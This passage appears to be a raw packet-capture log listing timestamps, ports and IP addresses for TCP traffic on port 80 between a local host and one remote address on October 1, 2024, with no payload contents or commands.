Oct 1, 2024 06:03:12.574433088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.574435949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.575395107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583173990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583209038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583241940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583271027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583273888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583309889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583328962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583359957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583378077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583419085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583431959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583463907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583492994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583496094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583548069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583575964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583599091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583631992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583662987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583664894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583699942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583729982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583740950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583791018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583822012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583823919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583856106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583888054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583889961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583923101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.583956003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.583972931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584005117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584037066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584053993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584085941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584117889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584119081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584151983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584182024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584186077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584218025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584247112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584249973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584280968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584311008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584312916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584346056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584374905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584378004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584410906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584440947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584443092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584475040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584502935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584506989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584538937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584570885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584570885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584604025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584634066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584635019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584669113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584697962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584701061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584736109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584764004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584768057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584800005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584827900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584830999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584862947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584893942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584896088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584928036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584959030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.584960938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.584992886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585026026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585026979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585057020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585088015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585089922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585122108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585149050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585153103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585189104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585218906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585221052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585253954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585282087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585285902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585320950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585350990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585350990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585383892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585414886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585417986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585449934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585481882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585481882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585515022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585544109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585546970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585580111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585609913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585612059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585644007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585673094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585675955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585707903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585738897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585738897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585773945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585803986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585804939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585839033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585869074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585870028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585902929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585930109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.585936069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585968018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.585998058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.586000919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.586031914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.586060047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.586064100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.586098909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.586123943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.587824106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857182026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857263088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857291937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857297897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857338905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857346058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857381105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857430935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857464075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857464075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857512951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857543945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857546091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857594967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857625008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857676983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857709885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857739925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857743025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857775927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857804060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857836962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857865095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857865095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857897997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857927084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.857949972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.857997894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858028889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858047009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858091116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858117104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858123064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858155012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858186960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858205080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858233929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858263969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858264923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858299017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858329058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858345985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858377934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858402967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858412027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858443975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858474970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858475924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858525038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858556986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858556986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858591080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858618975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858625889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858658075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858689070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858706951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858738899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858768940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858769894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858803034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858834028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858850956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858882904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858912945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858915091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858947039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.858977079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.858978987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859029055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859055996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859060049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859092951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859122038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859123945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859157085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859184980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859205961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859241009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859271049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859272003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859303951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859334946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859337091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859369040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859395027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859420061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859471083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859502077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859503031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859534979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859566927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859570026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859616041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859643936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859646082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859694004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859724998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859726906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859759092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859788895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859791040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859822035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859852076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859854937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859888077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859919071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859920025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859951973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.859982967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.859983921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860018969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860049963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860049963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860080957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860109091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860112906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860145092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860176086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860177040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860208988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860239983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860240936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860271931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860304117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860304117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860337019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860368013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860368967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860403061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860428095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860434055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860466003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860495090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860497952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860529900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860558987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860562086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860589981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860620022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860620975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860652924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860685110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860685110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860719919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860745907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860752106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860784054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860815048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860816002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860847950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860874891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860881090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860913992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860941887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.860945940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.860974073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861004114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861005068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861037970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861063957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861071110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861104965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861134052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861136913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861170053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861200094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861202955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861234903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861264944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861265898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861298084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861327887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861330032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861361027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861391068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861392975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861423016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861423016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861453056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861457109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861489058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861520052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861521006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861552000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861583948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861584902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861617088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861648083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861646891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861682892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861706018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861715078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861747026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861777067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861778975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861810923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.861835003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.861839056 CEST	80	49730	185.215.113.37	192.168.2.4
